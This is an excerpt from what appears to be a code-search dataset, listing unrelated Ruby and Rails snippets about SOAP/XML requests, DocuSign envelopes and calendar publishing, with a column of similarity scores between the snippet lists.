IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-publish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = true\n\n # iCloud sends back the 202, so we will too.\n response.status = 202\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}unpublish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-unpublish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = false\n\n response.status = 200\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n end\n end",
"def add_envelope()\n st = Eddy::Segments::ST.new(self.store)\n st.TransactionSetIdentifierCode = self.id\n st.TransactionSetControlNumber = self.control_number\n\n se = Eddy::Segments::SE.new(self.store)\n se.NumberOfIncludedSegments = self.number_of_included_segments()\n se.TransactionSetControlNumber = self.control_number\n\n self.components.unshift(st)\n self.components.push(se)\n end",
"def ems\n GatewayMessage.store( params[:xml] )\n render :text => 'OK'\n end",
"def to_xml(envelope)\n to_doc(envelope).to_xml save_with: Nokogiri::XML::Node::SaveOptions::NO_DECLARATION\n end",
"def recipients\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/recipients\")\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/investmentaccount/v1\")\n end",
"def envelope_group_params\n params.require(:envelope_group).permit(:account_id, :name)\n end",
"def set_envelope_group\n @envelope_group = EnvelopeGroup.find(params[:id])\n end",
"def create_docusign_envelope(box_doc_id)\n\n box_user = user_client\n\n box_file = box_user.file_from_id(box_doc_id)\n raw_file = box_user.download_file(box_file)\n temp_file = Tempfile.open(\"box_doc_\", Rails.root.join('tmp'), :encoding => 'ascii-8bit')\n\n begin\n temp_file.write(raw_file)\n temp_file.close\n\n puts \"doc client\"\n ap DOCUSIGN_CLIENT\n envelope = DOCUSIGN_CLIENT.create_envelope_from_document(\n email: {\n subject: \"Signature Requested\",\n body: \"Please electronically sign this document.\"\n },\n # If embedded is set to true in the signers array below, emails\n # don't go out to the signers and you can embed the signature page in an\n # iFrame by using the client.get_recipient_view method\n signers: [\n {\n embedded: true,\n name: 'Marcus Doe',\n email: '[email protected]',\n role_name: 'Client',\n sign_here_tabs: [{anchor_string: \"Signature:\", anchor_x_offset: '100', anchor_y_offset: '0'}]\n }\n ],\n files: [\n {path: temp_file.path, name: \"#{box_file.name}\"}\n ],\n status: 'sent'\n )\n\n session[envelope[\"envelopeId\"]] = {box_doc_id: box_file.id, box_doc_name: box_file.name}\n rescue => ex\n puts \"Error in creating envo\"\n ensure\n temp_file.delete\n end\n\n envelope\n end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end",
"def test_should_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :api_key=>'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response :created\r\n end",
"def create\n @director = Director.find(params[:director_id])\n @soaps = @director.soaps.create(soap_params)\n redirect_to director_path(@director)\n\n\n end",
"def create(options)\n API::request(:post, 'subscription_agreements', options)\n end",
"def envelopes(from_date, options = {})\n Docusigner::Envelope.find(:all, :params => options.reverse_merge({:account_id => id, :from_date => from_date}))\n end",
"def build_body(action , data)\n\t\t@name_space = 'a'\n\t\tbody = {\n\t\t\t'soap:Envelope' => {\n\t\t\t\t'xmlns:soap' => 'http://schemas.xmlsoap.org/soap/envelope/',\n\t\t\t\t'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',\n\t\t\t\t'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema',\n\t\t\t\t'soap:Body' => {\n\t\t\t\t\t\"#{action.name}\" => {\n\t\t\t\t\t\t\"xmlns\" => WsdlParser.target_namespace\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif(!data.nil?)\n\t\t\tdata.each do |key, value|\n\t\t\t\tbuild_param(body['soap:Envelope']['soap:Body'][\"#{action.name}\"],action,key,value)\n\t\t\tend\n\t\tend\n\n\t\tXmlSimple.xml_out(body, 'RootName' => nil)\n\tend",
"def request_message\n return if @parts.empty?\n\n @request_message = Part.new do\n content_type 'multipart/related; type=\"text/xml\"'\n end\n\n soap_body = self.to_xml\n soap_message = Part.new do\n content_type 'text/xml; charset=utf-8'\n add_content_transfer_encoding\n body soap_body\n end\n soap_message.add_content_id \"<savon_soap_xml_part>\"\n @request_message.add_part(soap_message)\n @parts.each do |part|\n @request_message.add_part(part)\n end\n #puts @request_message\n @request_message\n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def post endpoint, data\n do_request :post, endpoint, data\n end",
"def post(endpoint, url, args, version = 'v1')\n qs = build_qs(args)\n req_url = \"#{url}/api/#{version}/#{endpoint}?#{qs}\"\n\n request(req_url, :POST)\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end",
"def show\n @envelope = Envelope.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @envelope }\n end\n end",
"def create_signers(emails, names, orders)\n e_array = emails.to_s.gsub(/\\s+/, \"\").split(',')\n o_array = orders.to_s.gsub(/\\s+/, \"\").split(',')\n n_array = names.to_s.split(\",\")\n signers = []\n\n if e_array.length == n_array.length\n e_array.zip(n_array, o_array).each_with_index do |val, index|\n email = val[0]\n name = val[1].strip\n order = val[2]\n new_index = index + 1\n\n signer = DocuSign_eSign::Signer.new({\n email: \"#{email}\", name: \"#{name}\",\n roleName: \"signer\", recipientId: \"#{new_index}\",\n routingOrder: \"#{order}\", #define order\n defaultRecipient: \"false\" #Add clientID here makes envelope embeddable\n })\n signer_tab = DocuSign_eSign::SignHere.new(\n tabLabel: \"DocuSignSignHere Signer#{new_index}\", #must match pdf form field name!! important\n )\n #ASSIGN Tab signing order for each recipient\n signer_tabs = DocuSign_eSign::Tabs.new(\n :signHereTabs => [signer_tab]\n )\n signer.tabs = signer_tabs\n signers.push(signer)\n end\n else\n return \"error\"\n end\n\n signers\n end",
"def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end",
"def create\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::POST_SUBSCRIPTION\n\n args.req_body = ZAPIArgs.new\n args.req_body.accountKey = SAMPLE_ACCOUNT_KEY\n args.req_body.contractEffectiveDate = '2013-02-1'\n args.req_body.termType = 'TERMED'\n args.req_body.initialTerm = '12'\n args.req_body.autoRenew = true\n args.req_body.renewalTerm = \"3\"\n args.req_body.notes = 'Test POST subscription from z-ruby-sdk'\n args.req_body.subscribeToRatePlans = []\n args.req_body.subscribeToRatePlans[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].productRatePlanId = 'ff8080811ca15d19011cdda9b0ad3b51'\n args.req_body.subscribeToRatePlans[0].chargeOverrides = []\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].productRatePlanChargeId =\n 'ff8080811ca15d19011cddad8c953b53'\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].quantity = 10\n args.req_body.invoiceTargetDate = '2013-12-31'\n args.req_body.invoiceCollect = false\n\n puts \"========== CREATE A SUBSCRIPTION ============\"\n\n begin\n @z_client.post(args) do |resp|\n ap resp\n return resp.subscriptionNumber if resp.httpStatusCode.to_i == 200 && resp.success\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n\n nil\n end",
"def build_request(body, options)\n xsd_version = test? ? TEST_XSD_VERSION : PRODUCTION_XSD_VERSION\n\n xml = Builder::XmlMarkup.new indent: 2\n xml.instruct!\n xml.tag! 's:Envelope', { 'xmlns:s' => 'http://schemas.xmlsoap.org/soap/envelope/' } do\n xml.tag! 's:Header' do\n xml.tag! 'wsse:Security', { 's:mustUnderstand' => '1', 'xmlns:wsse' => 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' } do\n xml.tag! 'wsse:UsernameToken' do\n xml.tag! 'wsse:Username', @options[:login]\n xml.tag! 'wsse:Password', @options[:password], 'Type' => 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText'\n end\n end\n end\n xml.tag! 's:Body', { 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema' } do\n xml.tag! 'requestMessage', { 'xmlns' => \"urn:schemas-cybersource-com:transaction-data-#{xsd_version}\" } do\n add_merchant_data(xml, options)\n xml << body\n end\n end\n end\n xml.target!\n end",
"def set_user_envelope\n @user_envelope = UserEnvelope.find(params[:id])\n end",
"def envelope\n \"ENVELOPE(#{west}, #{east}, #{north}, #{south})\"\n end",
"def send_soap_request(soapmsg)\n @log.debug \"Sending SOAP Request:\\n----------------\\n#{soapmsg}\\n----------------\"\n respmsg = @spcon.post(@ws_endpoint, soapmsg)\n @log.debug \"Received SOAP Response:\\n----------------\\n#{Nokogiri::XML(respmsg).to_xml}\\n----------------\"\n respmsg\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def test_post_invoices_xml \n Redmine::ApiTest::Base.should_allow_api_authentication(:post,\n '/invoices.xml',\n {:invoice => {:project_id => 1, :number => 'INV/TEST-1'}},\n {:success_code => :created})\n \n assert_difference('Invoice.count') do\n post '/invoices.xml', {:invoice => {:project_id => 1, :number => 'INV/TEST-1', :contact_id => 1, :status_id => 1, :invoice_date => Date.today}}, credentials('admin')\n end\n\n invoice = Invoice.first(:order => 'id DESC')\n assert_equal 'INV/TEST-1', invoice.number\n \n assert_response :created\n assert_equal 'application/xml', @response.content_type\n assert_tag 'invoice', :child => {:tag => 'id', :content => invoice.id.to_s}\n end",
"def soap_request(options = {})\n options = { error_response_codes: [404] }.merge options\n\n headers = { 'Content-Type' => CONTENT_TYPES[version] }\n if action = options.delete(:action)\n headers['SOAPAction'] = action\n elsif operation = options.delete(:operation)\n headers['SOAPAction'] = soap_action operation\n end\n\n if version == 1 && headers['SOAPAction'].blank?\n raise 'SOAPAction header value must be provided for SOAP 1.1'\n end\n\n request_options = { format: :xml, headers: headers }\n Response.new(version, perform_request(:post, endpoint, options.merge(request_options)), fault_builder).tap do |response|\n raise response.fault if response.fault?\n raise response.error if response.error?\n end\n end",
"def agreement_documents(agreement_id, recipient_email, format, version_id=nil)\n result = Echochamber::Request.agreement_documents(token, agreement_id, recipient_email, format, version_id)\n end",
"def send(xml)\n msg = <<EOL\n<?xml version=\"1.0\"?>\n<?qbxml version=\"#{QBXML_VERSION}\"?>\n<QBXML>\n <QBXMLMsgsRq onError=\"continueOnError\">\n #{xml}</QBXMLMsgsRq>\n</QBXML>\nEOL\n puts msg\n @soap_client.ProcessRequest(@ticket, xml)\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end",
"def post(url_variables:, body:)\n ensure_service_document\n\n end",
"def create_and_invitation_studant(params = {})\n run(:post, \"/invitations\", [201,422], JSON.dump(params))\n end",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def _parse_soap_parameters\n soap_action = request.env['wash_out.soap_action']\n action_spec = self.class.soap_actions[soap_action]\n\n # Do not interfere with project-space Nori setup\n strip = Nori.strip_namespaces?\n convert = Nori.convert_tags?\n Nori.strip_namespaces = true\n Nori.convert_tags_to { |tag| tag.snakecase.to_sym }\n\t\n body = request.body.read\n params = Nori.parse(body)\n\n request_doc = REXML::Document.new(body)\n sign_els = REXML::XPath.first(request_doc, \"//ds:Signature\", {\"ds\"=>\"http://www.w3.org/2000/09/xmldsig#\"})\n\n unless sign_els.blank?\n render_soap_error('The signature is invalid.') unless XMLSec.verify_sign(body)\n end\n\t\n encrypted_elements = REXML::XPath.match(request_doc, \"//xenc:EncryptedData\", 'xenc' => 'http://www.w3.org/2001/04/xmlenc#')\n\n unless encrypted_elements.blank?\n begin\n\t decrypted_request = XMLSec.decrypt(body, WS_SECURITY_SETTINGS[\"private_key\"], WS_SECURITY_SETTINGS[\"cert\"])\n rescue => e\n render_soap_error(e.message)\n end\n\tdecrypted_doc = REXML::Document.new decrypted_request\n\tsign_els = REXML::XPath.first(decrypted_doc, \"//ds:Signature\", {\"ds\"=>\"http://www.w3.org/2000/09/xmldsig#\"})\n\n unless sign_els.blank?\n render_soap_error('The signature is invalid.') unless XMLSec.verify_sign(decrypted_request)\n end\n\n params = Nori.parse(decrypted_request)\n end\t\n\n xml_data = params[:envelope][:body][soap_action.underscore.to_sym] || {}\n\n strip_empty_nodes = lambda{|hash|\n hash.each do |key, value|\n if value.is_a? Hash\n value = value.delete_if{|key, value| key.to_s[0] == '@'}\n\n if value.length > 0\n hash[key] = strip_empty_nodes.call(value)\n else\n hash[key] = nil\n end\n end\n end\n\n hash\n }\n\n xml_data = strip_empty_nodes.call(xml_data)\n\n # Reset Nori setup to project-space\n Nori.strip_namespaces = strip\n Nori.convert_tags_to convert\n\n @_params = HashWithIndifferentAccess.new\n\n action_spec[:in].each do |param|\n @_params[param.name] = param.load(xml_data, param.name.to_sym)\n end\n end",
"def envelope\r\n Envelope.from_points(bounding_box,srid,with_z)\r\n end",
"def show\n @transactions = @envelope.transactions if @envelope.present?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @envelope }\n end\n end",
"def soap_params\n params.require(:soap).permit(:soap_name, :soap_age, :director_id)\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"def build_xml\n ns = \"http://fedex.com/ws/pickup/v17\"\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.Envelope(\"xmlns\" => \"http://fedex.com/ws/pickup/v17\") {\n xml.parent.namespace = xml.parent.add_namespace_definition(\"soapenv\", \"http://schemas.xmlsoap.org/soap/envelope/\")\n xml['soapenv'].Header {}\n xml['soapenv'].Body {\n xml.CreatePickupRequest() {\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_origin_detail(xml)\n add_package_details(xml)\n }\n }\n }\n end\n builder.doc.root.to_xml\n end",
"def process_envelopes?\n unless @buffer.empty? || @receive_envelope_scheduled\n @receive_envelope_scheduled = true\n process_envelope\n end\n end",
"def index\n @envelope_class = %w(full_width home)\n end",
"def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end",
"def create_embedded_request(opts = {})\n HelloSign.create_embedded_signature_request(\n test_mode: 1,\n client_id: 'a5a0c7391936852c61f3eaa29a25081e',\n subject: 'Lease Agreement',\n message: 'Awesome!',\n signers: [\n {\n email_address: opts[:email],\n name: opts[:name]\n }\n ],\n files: ['/Users/owner/Downloads/samplelease.pdf']\n )\nend",
"def build_create_subscription_request(xml, options)\n # Subscription\n add_subscription(xml, options)\n\n xml.target!\n end",
"def create_xml_request(sec_context, req_type, body_content)\n namespaces = {\n 'xmlns:serv' => 'http://www.webex.com/schemas/2002/06/service',\n 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xsi:schemaLocation' => 'http://www.webex.com/schemas/2002/06/service'\n }.freeze\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml.message(namespaces) do\n xml.<< sec_context\n xml.body do\n process_object('bodyContent', body_content, xml, req_type)\n end\n end\n end\n builder.doc.root.name = 'serv:message'\n builder.to_xml.gsub(%r{(<\\w+\\/>)}, '')\n end",
"def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:AssertionIDRequest') {\n assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml }\n }\n end",
"def create\n sent_email = SentEmail.find_by_slug(params[:s])\n Event.create_from_api!(:category => \"email\", :type => params[:event].try(:titleize), :prospect_id => sent_email.prospect_id, :sent_email_id => sent_email.id)\n head :created\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def post(path, options = {})\n nonce, signature = generate_signature\n options = options.merge(key: @api_key, nonce: nonce, signature: signature)\n result = @connection.post(\"#{path}/\", options).body\n JSON.parse(result)\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end",
"def add_arrays_to_tenant(args = {}) \n post(\"/tenants.json/#{args[:tenantId]}/arrays\", args)\nend",
"def post(uri, doc = nil, options = {})\n execute(uri, :post, options, doc)\n end",
"def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end",
"def docusign_response_order\n utility = DocusignRest::Utility.new\n\n if params[:event] == \"signing_complete\"\n temp_file = Tempfile.open([\"docusign_response_\",\".pdf\"], Rails.root.join('tmp'), :encoding => 'ascii-8bit')\n\n begin\n DOCUSIGN_CLIENT.get_document_from_envelope(\n envelope_id: params[\"envelope_id\"],\n document_id: 1,\n local_save_path: temp_file.path\n )\n\n box_info = session[params[\"envelope_id\"]]\n\n box_user = user_client\n completedPath = \"#{session[:userinfo]['info']['name']}\\ -\\ Order\\ Forms\"\n signed_folder = box_user.folder_from_path(completedPath)\n file = box_user.upload_file(temp_file.path, signed_folder)\n box_user.update_file(file, name: \"Order Form #{DateTime.now} - SIGNED.pdf\")\n\n box_user.delete_file(box_info[:box_doc_id])\n\n ensure\n temp_file.delete\n end\n\n flash[:notice] = \"Order form signed and submitted to a company representative.\"\n render :text => utility.breakout_path(product_supply_path(page_redirect: \"orders\")), content_type: 'text/html'\n else\n flash[:error] = \"You chose not to sign the document.\"\n render :text => utility.breakout_path(product_supply_path(page_redirect: \"orders\")), content_type: 'text/html'\n end\n end",
"def post_request(params, useSSL=false)\n # get a server handle\n port = (useSSL == true) ? 443 : 80\n http_server = Net::HTTP.new(API_HOST, port)\n http_server.use_ssl = useSSL\n \n # build a request\n http_request = Net::HTTP::Post.new(API_PATH_REST)\n http_request.form_data = params\n \n # get the response XML\n return http_server.start{|http| http.request(http_request)}.body\n end",
"def request(method, params)\n response = PARSER.xml_in(http_get(request_url(method, params)), { 'keeproot' => false,\n 'forcearray' => %w[List Campaign Subscriber Client SubscriberOpen SubscriberUnsubscribe SubscriberClick SubscriberBounce],\n 'noattr' => true })\n response.delete('d1p1:type')\n response\n end",
"def post(*args)\n request(:post, *args)\n end",
"def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end",
"def post(*args)\n request :post, *args\n end"
] |
[
"0.68518",
"0.68430334",
"0.6522314",
"0.62481874",
"0.60469073",
"0.60341686",
"0.5751369",
"0.5751369",
"0.5729569",
"0.56819886",
"0.5662662",
"0.5645686",
"0.5628477",
"0.56262255",
"0.5560694",
"0.5545689",
"0.54899955",
"0.54442406",
"0.54320925",
"0.5420121",
"0.5401188",
"0.53785396",
"0.532004",
"0.53030634",
"0.5266064",
"0.52340937",
"0.51873195",
"0.51476365",
"0.5097171",
"0.5086067",
"0.5083404",
"0.50755095",
"0.50612044",
"0.50234157",
"0.50211453",
"0.49837977",
"0.4952095",
"0.49044603",
"0.49015743",
"0.48752597",
"0.48750848",
"0.48551926",
"0.48364854",
"0.48344722",
"0.483359",
"0.48274508",
"0.48070273",
"0.48057055",
"0.48026836",
"0.47752136",
"0.47703198",
"0.47657108",
"0.47640312",
"0.4763071",
"0.47530094",
"0.4747784",
"0.47390524",
"0.4717668",
"0.47113732",
"0.47051728",
"0.47010553",
"0.46879393",
"0.4684122",
"0.46750876",
"0.46644932",
"0.46617866",
"0.46590868",
"0.46588272",
"0.46448517",
"0.46395543",
"0.46203107",
"0.45956987",
"0.45895928",
"0.45860487",
"0.4578239",
"0.4565187",
"0.45454046",
"0.45314768",
"0.45216972",
"0.45141622",
"0.45132658",
"0.45038623",
"0.44985068",
"0.44968346",
"0.4495713",
"0.44940978",
"0.4483891",
"0.44830492",
"0.44809988",
"0.4477725",
"0.44757184",
"0.4471104",
"0.44500384",
"0.44479978",
"0.44448635",
"0.44407713",
"0.4439121",
"0.4437759",
"0.4437658",
"0.44353542"
] |
0.67567295
|
2
|
PUT /envelopes/1 PUT /envelopes/1.xml
|
def update
@envelope = Envelope.find(params[:id])
respond_to do |format|
if @envelope.update_attributes(params[:envelope])
flash[:notice] = 'Envelope was successfully updated.'
format.html { redirect_to(@envelope) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @envelope.update_attributes(params[:envelope])\n format.html { redirect_to @envelope, notice: 'Envelope was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @envelope.update(envelope_params)\n format.html { redirect_to @envelope, notice: 'Envelope was successfully updated.' }\n format.json { render :show, status: :ok, location: @envelope }\n else\n format.html { render :edit }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_envelope\n @envelope = Envelope.find(params[:id])\n end",
"def set_envelope\n @envelope = Envelope.find(params[:id])\n end",
"def envelope\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}\")\n end",
"def destroy\n @envelope = Envelope.find(params[:id])\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to(envelopes_url) }\n format.xml { head :ok }\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def create\n @envelope = Envelope.new(params[:envelope])\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render json: @envelope, status: :created, location: @envelope }\n else\n format.html { render action: \"new\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @envelope = Envelope.new(envelope_params)\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render :show, status: :created, location: @envelope }\n else\n format.html { render :new }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @envelope = Envelope.new(params[:envelope].merge({:account_id => Docusign::Config[:account_id]}))\n\n respond_to do |format|\n if @envelope.save\n flash[:notice] = 'Envelope was successfully created.'\n format.html { redirect_to(@envelope) }\n format.xml { render :xml => @envelope, :status => :created, :location => @envelope }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def envelope_params\n params.require(:envelope).permit(:name)\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def destroy\n @envelope.destroy\n respond_to do |format|\n format.html { redirect_to envelopes_url, notice: 'Envelope was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :ok }\n end\n end",
"def set_user_envelope\n @user_envelope = UserEnvelope.find(params[:id])\n end",
"def configure_envelopes_api\n access_token = ENV['DOCUSIGN_ACCESS_TOKEN_TEMP']\n #Client API Config\n base_path = 'http://demo.docusign.net/restapi'\n configuration = DocuSign_eSign::Configuration.new\n configuration.host = base_path\n api_client = DocuSign_eSign::ApiClient.new(configuration)\n api_client.default_headers[\"Authorization\"] = \"Bearer \" + access_token\n envelopes_api = DocuSign_eSign::EnvelopesApi.new(api_client)\n end",
"def on_envelope(envelope)\n pass envelope\n end",
"def put(*args)\n request :put, *args\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def put!\n request! :put\n end",
"def show\n @envelope = Envelope.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @envelope }\n end\n end",
"def index\n @envelopes = Envelope.all\n end",
"def put(*args)\n request(:put, *args)\n end",
"def set_envelope_group\n @envelope_group = EnvelopeGroup.find(params[:id])\n end",
